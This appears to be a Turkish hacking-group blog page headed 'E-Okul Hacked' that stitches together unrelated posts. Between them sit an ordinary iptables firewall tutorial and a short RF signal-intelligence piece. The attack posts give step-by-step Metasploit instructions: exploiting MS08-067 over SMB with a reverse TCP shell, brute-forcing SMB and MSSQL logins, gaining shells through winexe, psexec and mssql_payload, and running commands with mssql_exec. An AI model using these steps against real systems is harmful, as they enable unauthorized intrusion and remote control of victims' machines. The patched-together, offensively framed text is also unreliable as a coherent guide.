E-Okul Hacked

Posted by ROOTAYYILDIZ
Genelde 2000li windows Serverlarda ve xp makinalarda bulunur.SMB üzerine yazılmış bir exploittir.
Bu zafiyeti tespit etmek için sistem üzerine bilindik bir nmap taraması yapabiliriz.Fakat ben size nmap scriptini kullanarak tarama yapmasını göstereceğim.
usr/share/nmap/scripts/
-ls | grap “ms08”
karşımıza çıkan scripti kopyalıyoruz ve
nmap –scripts script adı ip adresi -p445 ile sistemde tarama yaptırıyoruz ve zafiyetin olduğunu gözlemliyoruz.
daha sonra msfconsole’dan
use exploit/windows/smb/ms08_067_netapi
set rhost ile rhost u giriyoruz.
set payload windows/shell/reverse_tcp
set LHOST ile LHOST’u giriyoruz ve
run diyerek exploiti başlatıyoruz.


Linux Firewall (Iptables) Nedir ?
Iptables netfilter takımı ve birçok destekleyici tarafından geliştirilen güvelik duvarı yazılımıdır. Linux çekirdeğiyle konuşarak paket süzme kurallarını belirler. Iptables, Linux işletim sisteminin varsayılan güvenlik duvarıdır. Bu güvenlik duvarı servislerin çalıştığı portlardan geçen trafiği engelleyebilir, başka bir porta yönlendirme yapabilir.
1. Sunucumuzda kurulu değilse Firewall (iptables) yazılımını kuruyoruz. Red Hat ve türevi işletim sistemlerinde “iptables” varsayılan olarak kurulu halde geliyor.
-- IPv4 için iptables kurulumu aşağıdaki gibi yapılabilir.

# yum install iptables

-- IPv6 için iptables kurulumu aşağıdaki gibi yapılabilir.

# yum install iptables-ipv6
2. Sunucumuzda firewall servisimizi kapalıysa başlatıyoruz ve sunucumuz açıldığında otomatik başlaması için gerekli ayarları yapıyoruz.
-- Firewall servisimizi başlatmak için

# service iptables start

-- Firewall servisimizin sunucumuz açıldığında otomatik başlaması için

# chkconfig --level 345 iptables on

-- Firewall servisimizi durdurmak için

# service iptables stop

-- Firewall servisimizi sunucumuz açıldığında başlamaması için

# chkconfig iptables off
3. Sunucumuzda firewall servisinin mevcut durumunu sorgulamak için aşağıdaki komutu kullanabiliriz.
# service iptables status

Table: filter
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0   state RELATED,ESTABLISHED 
2    ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
3    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
4    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0   state NEW tcp dpt:22 
5    REJECT     all  --  0.0.0.0/0            0.0.0.0/0   reject-with icmp-host

Chain FORWARD (policy ACCEPT)
num  target     prot opt source               destination         
1    REJECT     all  --  0.0.0.0/0            0.0.0.0/0   reject-with icmp-host

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination      
4. Sunucumuzda grafik arayüzden firewall yönetim paneline erişmek için “System Administration>Firewall” yolunu izlemeliyiz.


5. Sunucumuzda izinleri verebilmek ve gerekli yapılandırmamızı yapabilmek için “iptables” komutunu kullanıyoruz. Bununla ilgili bilgileri inceleyelim.
-- Iptables Hedefleri

ACCEPT  Paketlerin geçisine izin verilir.
DROP  Paketlerin geçişine izin verilmez.
REJECT  Paketlerin erişimi reddedilir ve gönderen bilgilendirilir.
RETURN  Zincirin sonuna gönderilir.
QUEUE  Paketler kullanıcı alanına gönderilir.

-- Iptables Parametreleri

-A ZİNCİR  Zincire kural ekler.
-E ZİNCİR  Zinciri yeniden adlandırır.
-D ZİNCİR  Zincirden bir kural siler.
-D ZİNCİR  Zincirden belirtilen numaradaki kurali siler.
-L ZİNCİR  Belirtilen zincirdeki kurallari gösterir.
-E ZİNCİR  Zinciri yeniden adlandirir.
-l ZİNCİR  Zincirde belirtilen numaralı alana kuralı ekler.
-R ZİNCİR  Zincirde kuralın yerine başkasını koyar.
-R ZİNCİR  Zincirde belirtilen numaralı alana bir başkasını koyar.
-N ZİNCİR  Yeni bir zincir oluşturur.
-X ZİNCİR  Kullanıcının eklediği bir zinciri siler.
-F ZİNCİR  Zincirdeki kuralların tümünü siler.
-P ZİNCİR  Zincire genel politika ekler.

-- Zincirler ( INPUT,OUTPUT,FORWARD ve POSTROUTING PREROUTING ) büyük harflerle
yazılır.
6. Yukarıdaki “iptables” komut ve parametrelerini örneklerle açıklayalım.
-A –append : Belirli bir zincirin sonuna bir kural eklemek için;

# iptables -A INPUT CHAIN_NAME
# iptables -A OUTPUT CHAIN_NAME

-D –delete : Zinciri silmek için kullanılan komut; Silme işlemi için ya zincir
numarası belirtilir ya da kuralın kendisi.

# iptables -D INPUT 1
# iptables -D INPUT --dport 80 -j DROP

-R –replace : Mevcut zinciri değiştirmek için;

# iptables -R INPUT 1 -s 192.168.0.1 -j DROP

-I — insert : Genel zincir içinde belirlenmiş bir alana bir zincir daha eklemek
için;

# iptables -I INPUT 1 --dport 80 -j ACCEPT

-L –list : Kuralları listeler;

-- Zincirdeki tüm kuralları listelemek için

# iptables -L

-- Sadece INPUT kurallarını listelemek için

# iptables -L INPUT

-F –flush : Zincirdeki tüm kuralları siler;

-- INPUT zincirindeki tüm kuralları silmek için

# iptables -F INPUT

-- Tüm kuralları silmek için

# iptables -F

-N –new-chain : Yeni bir zincir oluşturur

# iptables -N CHAIN_NAME

-X –delete-chain : Bir zinciri siler.

-- Belli bir zinciri silmek için

# iptables -X CHAIN_NAME

-- Tüm zincirleri silmek için

# iptables -X

-P –policy : Kernelin bir zincirdeki kurala karşılık hangi hareket tarzını
göstermesi gerektiğini söyler ACCEPT, REJECT, DROP ...

# iptables -P INPUT DROP

-- ! karakteri ile belirli bir kural içerinde ayrıcalık oluşturabilir;
Örneğin tüm gelen tcp bağlantılarını engellemek ama 192.168.2.130 numaralı
IP’ye ayrıcalık tanımak istiyoruz

# iptables -A INPUT -p tcp --source ! 192.168.2.130 -j DROP

-p –protocol : Kuralda kullanılacak protokol tipini belirtir: tcp, udp, icmp, all
Örneğin tüm icmp trafiğini engellemek için.

# iptables -A INPUT -p icmp -j DROP

-s –source : Kaynak adresini belirtmek için kullanılır.
Örneğin 192.168.2.130 numaralı ipden gelen tüm tcp trafiğini kabul etmek için.

iptables -A INPUT -p tcp -s 192.168.2.130 -j ACCEPT

-d –destination : Varış adresini belirler.
Örneğin 192.168.2.130 numaralı ipye tcp trafiği için port yönlendirmesi yapılacaksa

# iptables -A FORWARD -p tcp -d 192.168.2.130 -j ACCEPT

-i –in-interface : Belirli bir ağ arayüzünün gelen bağlantıları için belirli bir
kuralı uygulama (Sadece INPUT, FORWARD ve PREROUTING). Örneğin eth0 aygıtında tüm
gelen icmp trafiğini engellemek için

# iptables -A INPUT -p icmp -i eth0 -j DROP

-o –out-interface : Belirli bir ağ arayüzünün giden bağlantıları için belirli
bir kuralı uygulama (Sadece OUTPUT, FORWARD ve PREROUTING). Örneğin eth0 aygıtında
tüm giden icmp trafiğini engellemek için

# iptables -A OUTPUT -p icmp -o eth0 -j DROP

–sport –source-port : Kaynak portu ya da sıra halindeki portları [1024:2042]
belirlemek için kullanılır. Birden fazla port belirtilcekse -m multiport parametresi
kullanılır.

# iptables -A INPUT -p tcp --sport 80 -j ACCEPT
# iptables -A INPUT -p udp --sport 80 -j DROP
# iptables -A INPUT -p tcp -m multiport --sport 3128,21,1000 -j DROP
# iptables -A INPUT -p tcp --sport 1024:2042 -j ACCEPT

–dport –destination-port : Sıra halindeki varış portlarını belirtmek için kullanılır.
Birden fazla port belirtilcekse -m multiport parametresi kullanılır.

# iptables -A OUPUT -p tcp --dport 110 -j DROP
# iptables -A OUPUT -p udp --dport 110 -j DROP
# iptables -A OUPUT -p tcp -m multiport --dport 110,4242,119 -j DROP
# iptables -A OUPUT -p tcp --dport 4925:4633 -j ACCEPT

–mac-source : MAC adresini belirtmek için kullanılır.
Örneğin 35:26:AA:35:26:AA MACadresinden gelen tüm trafiği engellemek için

# iptables -A INPUT --mac-source 35:26:AA:35:26:AA -j DROP

–state : Belirli bir paket durumunun karşılaştırması için kullanılır.
(ESTABLISHED, NEW, INVALID, RELATED)

# iptables -A INPUT -i eth0 -p tcp --sport 80 -m state --state NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp --dport 80 -m state --state ESTABLISHED -j ACCEPT
7. Sunucumuzda açıkladığımız firewall ayaraları ile ilgili örnek yapılandırmalar yapalım.
-- Ön ayarlı kuralların yüklenmesi (Tüm ağ trafiğini engeller)

# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -P FORWARD DROP

-- Loopback Adapter için izin ver

# iptables -A INPUT -i lo -j ACCEPT
# iptables -A OUTPUT -o lo -j ACCEPT

-- Web trafiğine izin ver

# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT

-- DNS sunucu hizmetine izin ver:

# iptables -A INPUT -i eth0 -p udp -m udp --sport 53 -j ACCEPT
# iptables -A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 53 -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 53 -j ACCEPT

-- FTP sunucu hizmetine izin ver

# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i eth0 -p tcp -m tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
# iptables -A OUTPUT -o eth0 -p tcp -m tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT

-- Belirli bir ip için izin ver veya engelle:

-- İzin vermek için

# iptables -A INPUT -s 192.168.2.130 -j ACCEPT

-- Engellemek için

# iptables -A INPUT -s 10.123.452.36 -j DROP

-- Özetle TCP Portu açmak için

# iptables -A TRUSTED -i eth0 -p tcp -m tcp --dport port_numarası -j ACCEPT

-- Özetle UDP Portu açmak için

# iptables -A TRUSTED -i eth0 -p udp -m udp --dport port_numarası -j ACCEPT
8. Sunucularımız için bir firewall standartı oluşturmak istiyorsak bunu bir script haline getirebilir ve sunucularımızda çalıştırabiliriz. Oluşturacağımız script ile firewall ayarlarımızı düzenleyebiliriz.
-- Firewall scriptimizi oluşturuyoruz ve aşağıdaki içeriği yazıyoruz.

# vim /tmp/firewall_config.sh

-- Script İçeriğimiz

#!/bin/bash

# Ağ Segmentimiz
LAN=192.168.2.1/24

# IP Adresimiz
OWNIP=192.168.1.2

# Tüm firewall ayarlarını sil
iptables -F
iptables -X

# Ön tanımlı ayarları geri yükle. Tüm bağlantıları kabul et
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

# Yeni iki zincir oluştur
iptables -N FIREWALL
iptables -N TRUSTED

# ESTABLISHED ve RELATED gelen bağlantılara izin ver
iptables -A FIREWALL -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

# Loopback trafiğine izin ver
iptables -A FIREWALL -i lo -j ACCEPT

# Gönderilen tüm paketleri TRUSTED zincirine yolla
iptables -A FIREWALL -j TRUSTED

# Diğer tüm paketleri engelle
iptables -A FIREWALL -j DROP

# Tüm gelen INPUT paketleri FIREWALL zincirine yolla
iptables -A INPUT -j FIREWALL

# Tüm forward edilmiş paketleri engelle
iptables -A FORWARD -j DROP

# samba (Netbios'suz)
iptables -A TRUSTED -i eth1 -p tcp -m tcp -s $LAN --dport 445 -j ACCEPT

# Samba (Netbios)
iptables -A TRUSTED -i eth1 -p udp -m udp -s $LAN --dport 137:139 -j ACCEPT
iptables -A TRUSTED -i eth1 -p udp -m udp --sport 137:138 -j ACCEPT

# Sonuç mesajı
echo " [Iptables kuralları uygulandı] "

-- Script dosyamızın çalışma izinlerini düzenliyoruz.

# chmod u+x /tmp/firewall_config.sh

-- Scriptimizi çalıştırmak için

# /tmp/firewall_config.sh
Linux Firewall (iptables) ile ilgili inceleyceklerimiz bu kadar genelde sık kullanılan yapılandırmaları inceledik. Yukarıdaki örneklerle kendi sunucu ve ağ yapımıza göre firewall yapılandırmamızı yapabiliriz. Sunucularımızda Oracle Veritabanı Yönetim Sistemi kullanacaksak Oracle varsayılan olarak firewall servisinin sorun çıkmaması açısından “disabled” durumda olmasını önermektedir. Yukarıdaki işlemler “Red Hat Enterprise Linux 6.x” işletim sisteminde test edilmiştir. Oracle Enterprise Linux 6.x ve CentOS 6.x gibi Red Hat türevi işletim sistemlerinde yapılandırmalarımız benzerdir.


Sinyal İstihbaratı Ve Önemi Nedir?

Günümüzde teknolojinin bu denli gelişmesi ve son zamanlarda üretilen cihazların uzaktan kontrol sistemlerinin olması sinyal istihbaratına olan ilgiyi arttırmıştır.Genelde Radyo Dalgaları kullanılarak sinyal istihbaratı sağlanır. RF Hacking için birçok cihaz kullanılmaktadır.Bu cihazların kullanımına önümüzdeki makalelerde değineceğiz.
RF Hacking ile yapılabilecek bazı şeyler şunlardır:
*Şifrelenmemiş Polis/ Ambulans / İtfaiye / Askeriye gibi telsiz konuşmalarını dinlemek
*Uçak-kule ve diğer konuşmaları dinlemek
*Radar kullanan uçak ve gemi gibi taşıtların konumlarını öğrenmek
*GSM görüşmeleri ve SMS’leri takip etmek
*kablosuz telefonları dinlemek
*Amatör telsiz konuşmalarını dinlemek
*FM radyo ve televizyon yayınlarını takip etmek
*Uyduları ve ISS’yi dinlemek
*Droneların yerlerini tespit etmek
Ve Benzeri işlemler gerçekleştirilebilir..
Bu işlemleri Linux,Parrot OS gibi işletim sistemlerinden gerekli toolları gerçekleştirebileceğimiz gibi bu iş için özel olarak üretilen ve bir linux dağıtımı olan SigintOS’u da kullanabiliriz.

SigintOS Nedir?

SigintOS, Sinyal istihbaratı için özel olarak geliştirilmiş bir linux dağıtımıdır.Kendisine ait SigintOS Tool adındaki toolu ile birçok işlemi tek tool içerisinde toplamıştır.Bu dağıtımda WireShark,GQRX,GNU RADİO ve birçok sinyal istihbaratında kullanılan tool yüklü olarak gelmiştir.Dolayısıyla sinyal istihbaratıyla uğraşanların yükü azalmıştır.RTL-SDR,HackRF ve BladeRF Gibi cihazların sistemleri kurulu olarak gelmiş ve kullanıcılarına vakitten tasarruf sağlamıştır. Bu dağıtımı VirtualBox üzerinden live olarak çalıştırabiliriz.

SMB servisi 445.port üzerinde çalışan TCP bazlı bir servistir.Bugün anlatacağımız saldırı yöntemi bu servis üzerine brute force yapılmasıdır.Önümüzdeki makalelerde bu servise yönelik daha üst düzey saldırıları anlatacağız.
Brute force saldırısını msfconsole üzerinden auxilary ile gerçekleştireceğiz.
use auxilary/scanner/smb/smb_login yazarak auxilarye geçiş yapıyoruz.
show options diyerek auxilary’nin bizden ne istediğini görüyoruz ve set komutu ile dolduruyoruz. Sistemde bildiğimiz bir SMBUSER yoksa Administrator olarak saldırımızı gerçekleştirebiliriz.
set pass_file “wordlist yolu”
set STOP_ON_SUCCESS true yazarak doğru loginleri bulduğunda saldırının durmasını sağlıyoruz.
run diyerek saldırıyı başlatıyoruz.
Saldırının başarılı gerçekleştiğini varsayarak devam ediyoruz.”winexe aracını kullanarak bu servise bağlantı sağlayabiliriz.
winexe –user=Administrator%şifre //hedef sistem ip adresi ‘erişmek istediğimiz komut satırı(cmd)’
Bu şekilde hedef sisteme bağlantı sağlayabiliriz.Aynı işlemi msfconsole üzerinden de gerçekleştirebiliriz.
use exploit/windows/smb/psexec
show options diyerek istenenleri dolduruyoruz (set komutu ile)
set payload payload windows/shell/reverse_tcp yazarak sisteme payload atıyoruz.
show options diyerek payloadın bizden istediklerini dolduruyoruz.
run diyerek işlemi başlatıyoruz ve komut satırına erişim sağlıyoruz.
Eğer sistemde oturum açılmaz ise bunun nedeni payloadın mimarisinden kaynaklanıyor olabilir. x32 veyahut x64 payload bir payload vererek aynı işlemleri gerçekleştirip devam edebilirsiniz.

SMB Sign Özelliğinden Faydalanmak:

SMB_SİGN özelliği mesaj bloklarında görülen bir imza özelliğidir.Özelliğin sistem yöneticisi tarafından açılmaması durumunda çeşitli yönlendirmelerle hedef sistemde Man İn The Middle(Ortadaki Adam) gerçekleştirilebilir.
Sistemde bu özelliğin aktif olup olmadığını “Runfinger” adlı tool ile öğrenebiliriz.
usr/share/responder/tools/Runfinger.py -i hedef ip adresi
Bu toolun çalışma mantığı şöyledir:
Bir ip adresi verilir ve bu tool sistemde çalışan tüm cihazların SİGN özelliğini kontrol eder.Cihazların SİGN özelliği FALSE ise yapacağımız saldırı olumlu sonuç verecektir.Bu saldırıyı önümüzdeki makalelerde detaylı şekilde anlatacağız.


MSSQL’in kullanım amacı MySQL ie aynıdır yani amacı databaseleri yönetmektir.1433.Portta çalışan TCP bazlı bir servistir.MSSQL’İn MySQL ‘den farkı komut yürütülebilir olmasıdır.İLk önce MSSQL üzerine bir kabakuvvet saldırısı gerçekleştireceğiz.Bu işlemi msfconsole üzerinden bir auxilary ile gerçekleştireceğiz.
use auxilary/scanner/msslq/mssql_login
show options diyerek bizden istenen yerleri set komutu ile dolduruyoruz.MSSQL’de yeterli user “sa” dır.Gerekli yerleri doldurduktan sonra
set STOP_ON_SUCCESS true diyerek doğru sonucu bulduğunda durmasını istiyoruz.Daha sonra “run” diyerek başlatıyoruz.Doğru sonunu bulduğumuzu varsayarak devam ediyoruz.
Komut yürütmek için yine msfconsole üzerindeki bir auxilary kullanacağız.
use auxilary/admin/mssql/mssql_exec
show options diyerek bizden istenen yerleri dolduruyoruz.
run diyoruz ve başlatıyoruz.İlgili sistemde
set cmd “komut”
ile komut yürütüyoruz.
Aynı zamanda sistemde bir netcat bağlantısı sağlayıp shell satırına inebiliriz.Bu işlem için msfconsole üzerindeki bir exploiti kullanacağız.
use exploit/windows/mssql/mssql_payload
show options diyerek bizden istediklerini set komutu ile dolduruyoruz. (SRVHOST’un İP’si dosya yükleyeceğimiz yerin İP’si olacak.Eğer LOCALHOST’da çalışıyorsanız[laboratuvar gibi] kendi İP adresimizi yazıyoruz.
run diyerek exploiti çalıştırıyoruz.Komut satırına inmiş bulunmaktayız.Bir başka yazımızda görüşmek üzere

MSSQL SALDIRILARI

Posted by ROOTAYYILDIZ

[ root ⚔ αyyιldιz ]